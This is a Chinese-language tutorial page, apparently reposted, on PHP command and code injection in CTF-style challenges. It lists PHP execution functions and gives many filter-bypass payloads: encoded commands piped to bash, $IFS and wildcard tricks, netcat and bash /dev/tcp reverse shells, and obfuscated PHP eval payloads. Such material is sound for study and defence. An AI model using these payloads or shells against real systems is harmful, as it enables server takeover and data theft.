远程命令/代码执行漏洞(RCE)总结 您所在的位置:网站首页 sql注入可能造成的危害 远程命令/代码执行漏洞(RCE)总结

远程命令/代码执行漏洞(RCE)总结

2024-07-11 15:55| 来源: 网络整理| 查看: 265

介绍

Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一。

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

漏洞危害

    继承Web服务器程序的权限,去执行系统命令     继承Web服务器程序的权限,读写文件     反弹shell     控制整个网站     甚至控制整个服务器  

PHP命令执行函数

1. system() :

原型:string system ( string $command [, int &$return_var ] ) 与passthru的基本相同,但是system返回结果并且输出。(查看system和pssthru的返回值可以看出)

2. shell_exec():

shell_exec — 通过 shell 环境执行命令 ( 这就意味着这个方法只能在 linux 或 mac os的shell环境中运行 ),并且将完整的输出以字符串的方式返回。如果执行过程中发生错误或者进程不产生输出,则返回 NULL。 是反撇号 (`) 操作符的变体.

3. exec():

原型:string exec ( string $command [, array &$output [, int &$return_var ]] ) exec执行command命令,但是不会输出全部结果,而是返回结果的最后一行,如果你想得到全部的结果,可以使用第二个参数,让其输出到一个数组,数组的每一个记录代表了输出的每一行,如果输出结果有10行,则数组就有10条记录。所以如果你需要反复输出调用不同系统外部命令的结果,你最好在输出每一条系统外部命令结果时清空这个数组,以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0

4. passthru():

原型:void passthru ( string $command [, int &$return_var ] ) 与exec的区别:passthru直接将结果输出,不返回结果,不用使用echo查看结果。

命令执行的一些绕过技巧 空格被绕过 < 、、%09(tab键)、%20、$IFS$9、$IFS$1、${IFS}、$IFS等,还可以用{} 比如 {cat,flag} 关键字绕过

1.URL编码绕过 关于$_SERVER['QUERY_STRING'],他验证的时候是不会进行url解码的,但是在GET的时候则会进行url解码,所以我们只需要将关键词进行url编码就能绕过。2.Base64编码绕过

echo MTIzCg==|base64 -d 其将会打印123 //MTIzCg==是123的base64编码 echo "Y2F0IC9mbGFn"|base64 -d|bash 将执行了cat /flag //Y2F0IC9mbGFn是cat /flag的base64编码 echo "bHM="|base64 -d|sh 将执行ls

3.Hex编码绕过

echo "636174202f666c6167"|xxd -r -p|bash 将执行cat /flag $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") 执行cat /flag {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 执行cat /flag

4.Oct编码绕过

$(printf "\154\163") 执行ls

5.偶读拼接绕过

?ip=127.0.0.1;a=l;b=s;$a$b ?ip=127.0.0.1;a=fl;b=ag;cat /$a$b;

6.内联执行绕过

echo "a`pwd`" #输出a/root ?ip=127.0.0.1;cat$IFS$9`ls`

7.引号绕过

ca""t => cat mo""re => more in""dex => index ph""p => php

8.通配符绕过

假设flag在/flag中: /?url=127.0.0.1|ca""t%09/fla? /?url=127.0.0.1|ca""t%09/fla* 假设flag在/flag.txt中: /?url=127.0.0.1|ca""t%09/fla???? /?url=127.0.0.1|ca""t%09/fla* 假设flag在/flags/flag.txt中: /?url=127.0.0.1|ca""t%09/fla??/fla???? /?url=127.0.0.1|ca""t%09/fla*/fla*

9.反斜杠绕过

ca\t => cat mo\re => more in\dex => index ph\p => php n\l => nl

10.[]匹配绕过

c[a]t => cat mo[r]e => more in[d]ex => index p[h]p => php 无回显的命令执行

NetCat 一句话反弹Shell 获取shell(想反弹谁的shell就在谁的后面加-e /bin/sh或-e /bin/bash来进行重定向) **正向shell:**客户端主动连接服务器并获取服务器shell

客户端主动连接并得到反弹shell nc 服务端ip 8888 服务端监听连接 nc -Lvp 8888 -e /bin/sh # windows上:nc -lvp 8888 -e c:\windows\system32\cmd.exe

**反向shell:**服务器端连接并反弹shell给客户端

客户端监听 nc -Lvp 8888 服务端连接客户端 nc 客户端ip 8888 -e /bin/sh # windows上:nc ip 8888 -e c:\windows\system32\cmd.exe

Bash反弹shell 攻击机

nc -lvp 2333

受害机

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1 PHP代码执行函数

代码执行漏洞与命令执行漏洞具有相通性。 利用系统函数实现命令执行,在php下,允许命令执行的函数有: eval()、assert()、preg_replace()、**${}**等等,以后遇到在继续补充。 如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏洞。

注意: ${}执行代码(在 双引号 中倘若有${}出现,那么{}内的内容将被当做php代码块来执行。) 方法:${php代码}、

思维导图:

题目:eval($_GET['m'])命令执行中关于PHP正则表达式的一些绕过方法_WHOAMIAnony的博客-CSDN博客_php 正则绕过

1.  ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo                          //${_GET}{%ff}();&%ff=phpinfo       $a=${a} $array[0]=$array{0}     php>5

2.  (~%8F%97%8F%96%91%99%90)();               php>7(解析小括号内)

3.无参函数的RCE: payload:eval(hex2bin(session_id(session_start())));    PHP



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有